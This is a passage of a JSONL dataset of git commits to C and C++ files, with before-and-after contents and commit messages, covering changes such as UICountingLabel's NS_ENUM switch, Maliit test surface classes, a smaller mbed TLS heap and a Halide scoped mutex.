Android\n","lang":"C","license":"mit","repos":"giginet\/CCMessageWindow,giginet\/CCMessageWindow"}
{"commit":"1a848c2eb37fc488b610ad36f562c705594b7e00","old_file":"UICountingLabel.h","new_file":"UICountingLabel.h","old_contents":"#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n\ntypedef enum {\n    UILabelCountingMethodEaseInOut,\n    UILabelCountingMethodEaseIn,\n    UILabelCountingMethodEaseOut,\n    UILabelCountingMethodLinear\n} UILabelCountingMethod;\n\ntypedef NSString* (^UICountingLabelFormatBlock)(float value);\ntypedef NSAttributedString* (^UICountingLabelAttributedFormatBlock)(float value);\n\n@interface UICountingLabel : UILabel\n\n@property (nonatomic, strong) NSString *format;\n@property (nonatomic, assign) UILabelCountingMethod method;\n@property (nonatomic, assign) NSTimeInterval animationDuration;\n\n@property (nonatomic, copy) UICountingLabelFormatBlock formatBlock;\n@property (nonatomic, copy) UICountingLabelAttributedFormatBlock attributedFormatBlock;\n@property (nonatomic, copy) void (^completionBlock)();\n\n-(void)countFrom:(float)startValue to:(float)endValue;\n-(void)countFrom:(float)startValue to:(float)endValue withDuration:(NSTimeInterval)duration;\n\n-(void)countFromCurrentValueTo:(float)endValue;\n-(void)countFromCurrentValueTo:(float)endValue withDuration:(NSTimeInterval)duration;\n\n-(void)countFromZeroTo:(float)endValue;\n-(void)countFromZeroTo:(float)endValue withDuration:(NSTimeInterval)duration;\n\n- (CGFloat)currentValue;\n\n@end\n\n","new_contents":"#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n\ntypedef NS_ENUM(NSInteger, UILabelCountingMethod) {\n    UILabelCountingMethodEaseInOut,\n    UILabelCountingMethodEaseIn,\n    UILabelCountingMethodEaseOut,\n    UILabelCountingMethodLinear\n};\n\ntypedef NSString* (^UICountingLabelFormatBlock)(float value);\ntypedef NSAttributedString* (^UICountingLabelAttributedFormatBlock)(float value);\n\n@interface UICountingLabel : UILabel\n\n@property (nonatomic, strong) NSString *format;\n@property (nonatomic, assign) UILabelCountingMethod method;\n@property (nonatomic, assign) NSTimeInterval animationDuration;\n\n@property (nonatomic, copy) UICountingLabelFormatBlock formatBlock;\n@property (nonatomic, copy) UICountingLabelAttributedFormatBlock attributedFormatBlock;\n@property (nonatomic, copy) void (^completionBlock)();\n\n-(void)countFrom:(float)startValue to:(float)endValue;\n-(void)countFrom:(float)startValue to:(float)endValue withDuration:(NSTimeInterval)duration;\n\n-(void)countFromCurrentValueTo:(float)endValue;\n-(void)countFromCurrentValueTo:(float)endValue withDuration:(NSTimeInterval)duration;\n\n-(void)countFromZeroTo:(float)endValue;\n-(void)countFromZeroTo:(float)endValue withDuration:(NSTimeInterval)duration;\n\n- (CGFloat)currentValue;\n\n@end\n\n","subject":"Use NS_ENUM instead of enum makes more clear","message":"Use NS_ENUM instead of enum makes more clear\n","lang":"C","license":"mit","repos":"AlexanderMazaletskiy\/UICountingLabel,HarrisLee\/UICountingLabel,jesseclay\/UICountingLabel,flovilmart\/UICountingLabel,kalsariyac\/UICountingLabel,ElaWorkshop\/UICountingLabel,Bogon\/UICountingLabel,dataxpress\/UICountingLabel"}
{"commit":"4dc9c4567301f2481b12965bdcf02a7281963b61","old_file":"tests\/utils\/core-utils.h","new_file":"tests\/utils\/core-utils.h","old_contents":"\/* * This file is part of meego-im-framework *\n *\n * Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n * Contact: Nokia Corporation (directui@nokia.com)\n *\n * If you have questions regarding the use of this file, please contact\n * Nokia at directui@nokia.com.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#ifndef CORE_UTILS_H__\n#define CORE_UTILS_H__\n\n#include <QString>\n#include <QObject>\n\nnamespace MaliitTestUtils {\n\n    bool isTestingInSandbox();\n    QString getTestPluginPath();\n    QString getTestDataPath();\n    void waitForSignal(const QObject* object, const char* signal, int timeout);\n    void waitAndProcessEvents(int waitTime);\n}\n\n#endif \/\/ CORE_UTILS_H__\n","new_contents":"\/* * This file is part of meego-im-framework *\n *\n * Copyright (C) 2011 Nokia Corporation and\/or its subsidiary(-ies).\n * All rights reserved.\n * Contact: Nokia Corporation (directui@nokia.com)\n *\n * If you have questions regarding the use of this file, please contact\n * Nokia at directui@nokia.com.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#ifndef CORE_UTILS_H__\n#define CORE_UTILS_H__\n\n#include <QString>\n#include <QObject>\n\n#include \"abstractsurfacegroup.h\"\n#include \"abstractsurfacegroupfactory.h\"\n\nnamespace MaliitTestUtils {\n\n    bool isTestingInSandbox();\n    QString getTestPluginPath();\n    QString getTestDataPath();\n    void waitForSignal(const QObject* object, const char* signal, int timeout);\n    void waitAndProcessEvents(int waitTime);\n\n    class TestSurfaceGroup : public Maliit::Server::AbstractSurfaceGroup {\n    public:\n        TestSurfaceGroup() {}\n\n        Maliit::Plugins::AbstractSurfaceFactory *factory() { return 0; }\n\n        void activate() {}\n        void deactivate() {}\n\n        void setRotation(Maliit::OrientationAngle) {}\n    };\n\n    class TestSurfaceGroupFactory : public Maliit::Server::AbstractSurfaceGroupFactory {\n    public:\n        TestSurfaceGroupFactory() {}\n\n        QSharedPointer<Maliit::Server::AbstractSurfaceGroup> createSurfaceGroup()\n        {\n            return QSharedPointer<Maliit::Server::AbstractSurfaceGroup>(new TestSurfaceGroup);\n        }\n    };\n}\n\n#endif \/\/ CORE_UTILS_H__\n","subject":"Add surface server side implementation for tests","message":"Add surface server side implementation for tests\n\nAdd a TestSurfaceGroup and TestSurfaceGroupFactory class for tests.\n\nRevBy: TrustMe.\n","lang":"C","license":"lgpl-2.1","repos":"binlaten\/framework,RHawkeyed\/framework,jpetersen\/framework,Elleo\/framework,jpetersen\/framework,RHawkeyed\/framework,Elleo\/framework"}
{"commit":"a2a4eaa93d4a34930006126154be25f5543182c7","old_file":"CONFIG\/nlp_exception.h","new_file":"CONFIG\/nlp_exception.h","old_contents":"","new_contents":"\/**\n * nlp_exception.h\n * Copyright (C) 2015 Tony Lim <atomictheorist@gmail.com>\n *\n * Distributed under terms of the MIT license.\n *\/\n\n#ifndef NLP_EXCEPTION_H\n#define NLP_EXCEPTION_H\n#include <exception>\n\nusing namespace std;\n\nnamespace NLP\n{\n    class unimplemented_exc: public exception\n    {\n        virtual const char* what() const throw()\n        {\n            return \"Unimplemented error.\";\n        }\n    };\n} \/* NLP *\/\n\n\n#endif \/* !NLP_EXCEPTION_H *\/\n","subject":"Add global exception functions to CONFIG","message":"Add global exception functions to CONFIG\n","lang":"C","license":"mit","repos":"NLP\/NLP"}
{"commit":"15ddd7987b08b24d572ad3c767fd477dfc5a3bd7","old_file":"inc\/m_types.h","new_file":"inc\/m_types.h","old_contents":"\/*********************************** LICENSE **********************************\\\n*                            Copyright 2017 Morphux                            *\n*                                                                              *\n*        Licensed under the Apache License, Version 2.0 (the \"License\");       *\n*        you may not use this file except in compliance with the License.      *\n*                  You may obtain a copy of the License at                     *\n*                                                                              *\n*                 http:\/\/www.apache.org\/licenses\/LICENSE-2.0                   *\n*                                                                              *\n*      Unless required by applicable law or agreed to in writing, software     *\n*       distributed under the License is distributed on an \"AS IS\" BASIS,      *\n*    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  *\n*        See the License for the specific language governing permissions and   *\n*                       limitations under the License.                         *\n\\******************************************************************************\/\n\n#ifndef M_TYPES_H\n# define M_TYPES_H\n\n\/* Generic types *\/\n\ntypedef signed char\t\t\ts8_t;\ntypedef signed short\t\ts16_t;\ntypedef signed int\t\t\ts32_t;\ntypedef signed long long\ts64_t;\n\ntypedef unsigned char\t\tu8_t;\ntypedef unsigned short\t\tu16_t;\ntypedef unsigned int\t\tu32_t;\ntypedef unsigned long long\tu64_t;\n\n#endif \/* M_TYPES_H *\/\n","new_contents":"\/*********************************** LICENSE **********************************\\\n*                            Copyright 2017 Morphux                            *\n*                                                                              *\n*        Licensed under the Apache License, Version 2.0 (the \"License\");       *\n*        you may not use this file except in compliance with the License.      *\n*                  You may obtain a copy of the License at                     *\n*                                                                              *\n*                 http:\/\/www.apache.org\/licenses\/LICENSE-2.0                   *\n*                                                                              *\n*      Unless required by applicable law or agreed to in writing, software     *\n*       distributed under the License is distributed on an \"AS IS\" BASIS,      *\n*    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  *\n*        See the License for the specific language governing permissions and   *\n*                       limitations under the License.                         *\n\\******************************************************************************\/\n\n#ifndef M_TYPES_H\n# define M_TYPES_H\n\n\/* Generic types *\/\n\ntypedef signed char         s8_t;\ntypedef signed short        s16_t;\ntypedef signed int          s32_t;\ntypedef signed long long    s64_t;\n\ntypedef unsigned char       u8_t;\ntypedef unsigned short      u16_t;\ntypedef unsigned int        u32_t;\ntypedef unsigned long long  u64_t;\n\n#endif \/* M_TYPES_H *\/\n","subject":"Fix comment style in mtypes","message":"Fix(Comment): Fix comment style in mtypes\n","lang":"C","license":"apache-2.0","repos":"Morphux\/lib,Morphux\/lib"}
{"commit":"bcd0f03a33b360f54b0223e64bd5dae90d3a0e2c","old_file":"include\/lambdacommon\/document\/document.h","new_file":"include\/lambdacommon\/document\/document.h","old_contents":"\/*\n * Copyright © 2017 AperLambda <aper.entertainment@gmail.com>\n *\n * This file is part of λcommon.\n *\n * Licensed under the MIT license. For more information,\n * see the LICENSE file.\n *\/\n\n#ifndef LAMBDACOMMON_DOCUMENT_H\n#define LAMBDACOMMON_DOCUMENT_H\n\n#include \"..\/lambdacommon.h\"\n#include <map>\n\nnamespace lambdacommon\n{\n    class LAMBDACOMMON_API Content\n    {};\n\n    class LAMBDACOMMON_API Document\n    {};\n}\n\n#endif \/\/LAMBDACOMMON_DOCUMENT_H","new_contents":"\/*\n * Copyright © 2017 AperLambda <aper.entertainment@gmail.com>\n *\n * This file is part of λcommon.\n *\n * Licensed under the MIT license. For more information,\n * see the LICENSE file.\n *\/\n\n#ifndef LAMBDACOMMON_DOCUMENT_H\n#define LAMBDACOMMON_DOCUMENT_H\n\n#include \"..\/lambdacommon.h\"\n#include <map>\n\nnamespace lambdacommon\n{\n    class LAMBDACOMMON_API Element\n    {};\n\n    class LAMBDACOMMON_API Document\n    {};\n}\n\n#endif \/\/LAMBDACOMMON_DOCUMENT_H","subject":"Change the Content class to the Element class","message":":floppy_disk: Change the Content class to the Element class\n","lang":"C","license":"mit","repos":"AperEntertainment\/AperCommon,AperEntertainment\/AperCommon"}
{"commit":"56165c0f2c2978fe33730fae100183291c828361","old_file":"src\/example\/kernel\/thread\/event_thread.c","new_file":"src\/example\/kernel\/thread\/event_thread.c","old_contents":"","new_contents":"\/**\n * @file\n *\n * @brief\n *\n * @date 15.01.2013\n * @author Lapshin Alexander\n *\/\n#include <stdio.h>\n#include <errno.h>\n#include <framework\/example\/self.h>\n#include <kernel\/thread\/api.h>\n#include <kernel\/thread\/event.h>\n\n#include <util\/macro.h>\n\n\/**\n * This macro is used to register this example at the system.\n *\/\nEMBOX_EXAMPLE(run);\n\n\/** The thread handler function*\/\nstatic void *thread_run(void *arg) {\n\tstruct event *event = (struct event *)arg;\n\t\/**waiting until event receives  *\/\n\tprintf(\"waiting for event's notifying...\\n\");\n\tevent_wait(event, SCHED_TIMEOUT_INFINITE);\n\tprintf(\"event has been received.\\n\");\n\treturn 0;\n}\n\nstatic int run(int argc, char **argv) {\n\tstruct event sync_event;\n\tstruct thread *thread;\n\n\tevent_init(&sync_event, \"sync_event\");\n\tthread_create(&thread, 0, thread_run, &sync_event);\n\t\/**need some delay here\n\t *  because thread should have time to sleep\n\t *  within \"event_wait\" till invoking\n\t *  \"event_notify\" function.\n\t *\/\n\tsleep(1);\n\tevent_notify(&sync_event);\n\tthread_join(thread, NULL);\n\n\treturn ENOERR;\n}\n\n","subject":"Add example for working threads and events","message":"Add example for working threads and events","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,vrxfile\/embox-trik,embox\/embox,vrxfile\/embox-trik,Kakadu\/embox,Kefir0192\/embox,Kefir0192\/embox,vrxfile\/embox-trik,gzoom13\/embox,mike2390\/embox,Kefir0192\/embox,abusalimov\/embox,gzoom13\/embox,Kakadu\/embox,Kakadu\/embox,abusalimov\/embox,embox\/embox,Kakadu\/embox,mike2390\/embox,embox\/embox,Kefir0192\/embox,abusalimov\/embox,Kefir0192\/embox,mike2390\/embox,Kakadu\/embox,embox\/embox,abusalimov\/embox,vrxfile\/embox-trik,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,Kefir0192\/embox,gzoom13\/embox,abusalimov\/embox,Kakadu\/embox,gzoom13\/embox,mike2390\/embox,vrxfile\/embox-trik,mike2390\/embox,vrxfile\/embox-trik,Kakadu\/embox,vrxfile\/embox-trik,mike2390\/embox,Kefir0192\/embox,gzoom13\/embox,abusalimov\/embox"}
{"commit":"b00e6535be25fca1e9775951bd09542fdb88ce7d","old_file":"libyaul\/common\/internal_exception_show.c","new_file":"libyaul\/common\/internal_exception_show.c","old_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <stdlib.h>\n\n#include <vdp1.h>\n#include <vdp2.h>\n#include <vdp2\/tvmd.h>\n#include <vdp2\/vram.h>\n\n#include <cons.h>\n\nvoid __noreturn\ninternal_exception_show(const char *buffer)\n{\n        \/* Reset the VDP1 *\/\n        vdp1_init();\n\n        \/* Reset the VDP2 *\/\n        vdp2_init();\n        vdp2_tvmd_display_res_set(TVMD_INTERLACE_NONE, TVMD_HORZ_NORMAL_A,\n            TVMD_VERT_224);\n        vdp2_scrn_back_screen_color_set(VRAM_ADDR_4MBIT(0, 0x01FFFE),\n            COLOR_RGB555(0, 7, 0));\n        vdp2_tvmd_display_set();\n\n        cons_init(CONS_DRIVER_VDP2, 40, 28);\n        cons_buffer(buffer);\n\n        vdp2_tvmd_vblank_out_wait();\n        vdp2_tvmd_vblank_in_wait();\n        vdp2_commit();\n        cons_flush();\n\n        abort();\n}\n","new_contents":"\/*\n * Copyright (c) 2012-2016 Israel Jacquez\n * See LICENSE for details.\n *\n * Israel Jacquez <mrkotfw@gmail.com>\n *\/\n\n#include <stdlib.h>\n\n#include <vdp1.h>\n#include <vdp2.h>\n#include <vdp2\/tvmd.h>\n#include <vdp2\/vram.h>\n\n#include <cons.h>\n\nvoid __noreturn\ninternal_exception_show(const char *buffer)\n{\n        \/* Reset the VDP1 *\/\n        vdp1_init();\n\n        \/* Reset the VDP2 *\/\n        vdp2_init();\n        vdp2_tvmd_display_res_set(TVMD_INTERLACE_NONE, TVMD_HORZ_NORMAL_A,\n            TVMD_VERT_224);\n        vdp2_scrn_back_screen_color_set(VRAM_ADDR_4MBIT(0, 0x01FFFE),\n            COLOR_RGB555(0, 7, 0));\n\n        \/* Set sprite to type 0 and set its priority to 0 (invisible) *\/\n        vdp2_sprite_type_set(0);\n        vdp2_sprite_priority_set(0, 0);\n\n        vdp2_tvmd_display_set();\n\n        cons_init(CONS_DRIVER_VDP2, 40, 28);\n        cons_buffer(buffer);\n\n        vdp2_tvmd_vblank_out_wait();\n        vdp2_tvmd_vblank_in_wait();\n        vdp2_commit();\n        cons_flush();\n\n        abort();\n}\n","subject":"Hide VDP1 even if FB hasn't been erased and changed","message":"Hide VDP1 even if FB hasn't been erased and changed\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"61eadb0255925c8ad74710c0694ac7d9639b3c30","old_file":"test\/CFrontend\/2002-11-07-Redefinition.c","new_file":"test\/CFrontend\/2002-11-07-Redefinition.c","old_contents":"","new_contents":"\/* Provide Declarations *\/\n\n#ifndef NULL\n#define NULL 0\n#endif\n\n#ifndef __cplusplus\ntypedef unsigned char bool;\n#endif\n\n\n\/* Support for floating point constants *\/\ntypedef unsigned long long ConstantDoubleTy;\ntypedef unsigned int        ConstantFloatTy;\n\n\n\/* Global Declarations *\/\n\n\/* External Global Variable Declarations *\/\n\n\/* Function Declarations *\/\nvoid __main();\nint printf(signed char *, ...);\nvoid testfunc(short l5_s, float l11_X, signed char l3_C, signed long long l9_LL, int l7_I, double l12_D);\nvoid main();\n\n\/* Malloc to make sun happy *\/\nextern void * malloc(size_t);\n\n\n\n\/* Global Variable Declerations *\/\nextern signed char l27_d_LC0[26];\n\n\n\/* Global Variable Definitions and Initialization *\/\nstatic signed char l27_d_LC0[26] = \"%d, %f, %d, %lld, %d, %f\\n\";\n\n\n\/* Function Bodies *\/\nvoid testfunc(short l5_s, float l11_X, signed char l3_C, signed long long l9_LL, int l7_I, double l12_D) {\n  int l7_reg226;\n\n\n  l7_reg226 = printf((&(l27_d_LC0[0ll])), ((unsigned )l5_s), ((double )l11_X), ((unsigned )l3_C), l9_LL, l7_I, l12_D);\n  return;\n}\n\nvoid main() {\n\n  const ConstantFloatTy FloatConstant0 = 0x3f9f5c29;    \/* 1.245 *\/\n  const ConstantDoubleTy FloatConstant1 = 0x432ff973cafa8000;    \/* 4.5e+15 *\/\n\n  __main();\n  testfunc(12, (*(float*)&FloatConstant0), 120, 123456677890ll, -10, (*(double*)&FloatConstant1));\n  return;\n}\n\n","subject":"Check in an old testcase","message":"Check in an old testcase\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@4951 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap"}
{"commit":"ea9bfa8b10fc564c1b76d6984baadd9c72f8041b","old_file":"test\/test_list.c","new_file":"test\/test_list.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include \"list.h\"\n\nstruct list {\n    int ctx;\n    struct list_head loc;\n};\n\nint main(int argc, char *argv[])\n{\n    struct list l[3];\n\n    for(int i = 0; i < 3; i++)\n    {\n        l[i].ctx = i * 10;\n        \/\/l[i].loc = (struct list_head *) malloc(sizeof(struct list_head));\n    }\n\n    LIST_HEAD(start);\n\n    \/\/INIT_LIST_HEAD(l[0].loc);\n    \/\/INIT_LIST_HEAD(l[1].loc);\n    \/\/INIT_LIST_HEAD(l[2].loc);\n\n    \/\/struct list_head *start = l[0].loc;\n\n    \/\/list_add(start, l[1].loc);\n    \/\/list_add(start, l[2].loc);\n    list_add_tail(&l[0].loc, &start);\n    list_add_tail(&l[1].loc, &start);\n    list_add_tail(&l[2].loc, &start);\n\n\n    \/\/struct list_head *tmp = start;\n    struct list_head *tmp;\n    list_for_each(tmp, &start)\n    {\n        printf(\"%d\\n\", list_entry(tmp, struct list, loc)->ctx);\n    }\n}\n","subject":"Test \"list\" embeding to arbitary struct It is not confortable for me to use too much \"address of\".","message":"Test \"list\" embeding to arbitary struct\nIt is not confortable for me to use too much \"address of\".\n","lang":"C","license":"bsd-2-clause","repos":"yenWu\/DDNS,yenWu\/DDNS"}
{"commit":"0773e72754c7ec546ccf0a93bf6b4b321fc7899e","old_file":"windows\/dirent.h","new_file":"windows\/dirent.h","old_contents":"#ifndef _TOKU_DIRENT_H\n#define _TOKU_DIRENT_H\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/\/The DIR functions do not exist in windows, but the Linux API ends up\n\/\/just using a wrapper.  We might convert these into an toku_os_* type api.\n\nenum {\n    DT_UNKNOWN = 0,\n    DT_DIR     = 4,\n    DT_REG     = 8\n};\n\nstruct dirent {\n    char          d_name[_MAX_PATH];\n    unsigned char d_type;\n};\n\nstruct __toku_windir;\ntypedef struct __toku_windir DIR;\n\n\nDIR *opendir(const char *name);\n\nstruct dirent *readdir(DIR *dir);\n\nint closedir(DIR *dir);\n\n#ifndef NAME_MAX\n#define NAME_MAX 255\n#endif\n\n#if defined(__cplusplus)\n};\n#endif\n\n#endif\n\n","new_contents":"#ifndef _TOKU_DIRENT_H\n#define _TOKU_DIRENT_H\n\n#include \"toku_os_types.h\"\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/\/The DIR functions do not exist in windows, but the Linux API ends up\n\/\/just using a wrapper.  We might convert these into an toku_os_* type api.\n\nenum {\n    DT_UNKNOWN = 0,\n    DT_DIR     = 4,\n    DT_REG     = 8\n};\n\nstruct dirent {\n    char          d_name[_MAX_PATH];\n    unsigned char d_type;\n};\n\nstruct __toku_windir;\ntypedef struct __toku_windir DIR;\n\n\nDIR *opendir(const char *name);\n\nstruct dirent *readdir(DIR *dir);\n\nint closedir(DIR *dir);\n\n#ifndef NAME_MAX\n#define NAME_MAX 255\n#endif\n\n#if defined(__cplusplus)\n};\n#endif\n\n#endif\n\n","subject":"Fix broken windows build due to r19902 (merge of 2499d branch)","message":"[t:2499] Fix broken windows build due to r19902 (merge of 2499d branch)\n\ngit-svn-id: b5c078ec0b4d3a50497e9dd3081db18a5b4f16e5@19935 c7de825b-a66e-492c-adef-691d508d4ae1\n","lang":"C","license":"lgpl-2.1","repos":"natsys\/mariadb_10.2,natsys\/mariadb_10.2,ollie314\/server,natsys\/mariadb_10.2,kuszmaul\/PerconaFT,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,kuszmaul\/PerconaFT-tmp,davidl-zend\/zenddbi,ottok\/PerconaFT,ollie314\/server,slanterns\/server,BohuTANG\/ft-index,percona\/PerconaFT,BohuTANG\/ft-index,davidl-zend\/zenddbi,ollie314\/server,kuszmaul\/PerconaFT-tmp,ollie314\/server,ollie314\/server,natsys\/mariadb_10.2,davidl-zend\/zenddbi,ollie314\/server,BohuTANG\/ft-index,flynn1973\/mariadb-aix,flynn1973\/mariadb-aix,davidl-zend\/zenddbi,flynn1973\/mariadb-aix,ollie314\/server,natsys\/mariadb_10.2,davidl-zend\/zenddbi,ollie314\/server,ottok\/PerconaFT,percona\/PerconaFT,natsys\/mariadb_10.2,davidl-zend\/zenddbi,davidl-zend\/zenddbi,natsys\/mariadb_10.2,kuszmaul\/PerconaFT-tmp,natsys\/mariadb_10.2,davidl-zend\/zenddbi,ollie314\/server,ottok\/PerconaFT,flynn1973\/mariadb-aix,percona\/PerconaFT,percona\/PerconaFT,flynn1973\/mariadb-aix,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,kuszmaul\/PerconaFT-tmp,ottok\/PerconaFT,natsys\/mariadb_10.2,natsys\/mariadb_10.2,flynn1973\/mariadb-aix,kuszmaul\/PerconaFT,flynn1973\/mariadb-aix,kuszmaul\/PerconaFT,flynn1973\/mariadb-aix,ollie314\/server,davidl-zend\/zenddbi,davidl-zend\/zenddbi,BohuTANG\/ft-index,flynn1973\/mariadb-aix,ollie314\/server,kuszmaul\/PerconaFT"}
{"commit":"05fd893ea40718a0f0f81246425dfcb4b711642c","old_file":"drivers\/auth\/mbedtls\/mbedtls_common.c","new_file":"drivers\/auth\/mbedtls\/mbedtls_common.c","old_contents":"\/*\n * Copyright (c) 2015-2017, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <debug.h>\n\n\/* mbed TLS headers *\/\n#include <mbedtls\/memory_buffer_alloc.h>\n#include <mbedtls\/platform.h>\n\n\/*\n * mbed TLS heap\n *\/\n#if (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_ECDSA)\n#define MBEDTLS_HEAP_SIZE\t\t(14*1024)\n#elif (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_RSA)\n#define MBEDTLS_HEAP_SIZE\t\t(8*1024)\n#endif\nstatic unsigned char heap[MBEDTLS_HEAP_SIZE];\n\n\/*\n * mbed TLS initialization function\n *\/\nvoid mbedtls_init(void)\n{\n\tstatic int ready;\n\n\tif (!ready) {\n\t\t\/* Initialize the mbed TLS heap *\/\n\t\tmbedtls_memory_buffer_alloc_init(heap, MBEDTLS_HEAP_SIZE);\n\n\t\t\/* Use reduced version of snprintf to save space. *\/\n\t\tmbedtls_platform_set_snprintf(tf_snprintf);\n\n\t\tready = 1;\n\t}\n}\n","new_contents":"\/*\n * Copyright (c) 2015-2017, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <debug.h>\n\n\/* mbed TLS headers *\/\n#include <mbedtls\/memory_buffer_alloc.h>\n#include <mbedtls\/platform.h>\n\n\/*\n * mbed TLS heap\n *\/\n#if (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_ECDSA)\n#define MBEDTLS_HEAP_SIZE\t\t(14*1024)\n#elif (TF_MBEDTLS_KEY_ALG_ID == TF_MBEDTLS_RSA)\n#define MBEDTLS_HEAP_SIZE\t\t(6*1024)\n#endif\nstatic unsigned char heap[MBEDTLS_HEAP_SIZE];\n\n\/*\n * mbed TLS initialization function\n *\/\nvoid mbedtls_init(void)\n{\n\tstatic int ready;\n\n\tif (!ready) {\n\t\t\/* Initialize the mbed TLS heap *\/\n\t\tmbedtls_memory_buffer_alloc_init(heap, MBEDTLS_HEAP_SIZE);\n\n\t\t\/* Use reduced version of snprintf to save space. *\/\n\t\tmbedtls_platform_set_snprintf(tf_snprintf);\n\n\t\tready = 1;\n\t}\n}\n","subject":"Define optimized mbed TLS heap size","message":"mbedtls: Define optimized mbed TLS heap size\n\nmbed TLS provides the debug API `mbedtls_memory_buffer_alloc_status()`\nto analyse the RAM usage of the library.\n\nWhen RSA is selected as algorithm, the maximum heap usage in FVP and\nJuno has been determined empirically to be approximately 5.5 KiB.\nHowever, The default heap size used when RSA is selected is 8 KiB.\n\nThis patch reduces the buffer from 8 KiB to 6 KiB so that the BSS\nsections of both BL1 and BL2 are 2 KiB smaller when the firmware is\ncompiled with TBB support.\n\nChange-Id: I43878a4e7af50c97be9c8d027c728c8483f24fbf\nSigned-off-by: Antonio Nino Diaz <5c24ff39be768bf31f4deee44042a11772cfd02a@arm.com>\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware,lsigithub\/arm-trusted-firmware_public,lsigithub\/arm-trusted-firmware_public"}
{"commit":"758d5af6abf26753054ae0662395b27ff4ab2221","old_file":"src\/lz4mt_compat.h","new_file":"src\/lz4mt_compat.h","old_contents":"#ifndef LZ4MT_COMPAT_H\n#define LZ4MT_COMPAT_H\n\nnamespace Lz4Mt {\n\nunsigned getHardwareConcurrency();\n\nstruct launch {\n#if defined(_MSC_VER)\n\ttypedef std::launch::launch Type;\n#else\n\ttypedef std::launch Type;\n#endif\n\tstatic const Type deferred;\n\tstatic const Type async;\n};\n\n}\n\n#endif\n","new_contents":"#ifndef LZ4MT_COMPAT_H\n#define LZ4MT_COMPAT_H\n\nnamespace Lz4Mt {\n\nunsigned getHardwareConcurrency();\n\nstruct launch {\n#if defined(_MSC_VER) && (_MSC_VER <= 1700)\n\ttypedef std::launch::launch Type;\n#else\n\ttypedef std::launch Type;\n#endif\n\tstatic const Type deferred;\n\tstatic const Type async;\n};\n\n}\n\n#endif\n","subject":"Fix compile error with VC++2013 preview","message":"Fix compile error with VC++2013 preview\n","lang":"C","license":"bsd-2-clause","repos":"rgde\/lz4mt,tempbottle\/lz4mt,t-mat\/lz4mt,t-mat\/lz4mt,tempbottle\/lz4mt,rgde\/lz4mt,t-mat\/lz4mt"}
{"commit":"67b04dc5ae26ee489f051e7ead819f482d2fccb6","old_file":"src\/runtime\/scoped_mutex_lock.h","new_file":"src\/runtime\/scoped_mutex_lock.h","old_contents":"","new_contents":"#ifndef HALIDE_RUNTIME_MUTEX_H\n#define HALIDE_RUNTIME_MUTEX_H\n\n#include \"HalideRuntime.h\"\n\n\/\/ Avoid ODR violations\nnamespace {\n\n\/\/ An RAII mutex\nstruct ScopedMutexLock {\n    halide_mutex *mutex;\n\n    ScopedMutexLock(halide_mutex *mutex) : mutex(mutex) {\n        halide_mutex_lock(mutex);\n    }\n\n    ~ScopedMutexLock() {\n        halide_mutex_unlock(mutex);\n    }\n};\n\n}\n\n#endif\n","subject":"Add an OS mutex to Halide runtime.","message":"Add an OS mutex to Halide runtime.\n\nDocument an issue with the POSIX thread pool.\n\nEnsure memoization cache is cleaned up when a JITted module is\nshutdown. (Also provides a way to clear the cache from AOT 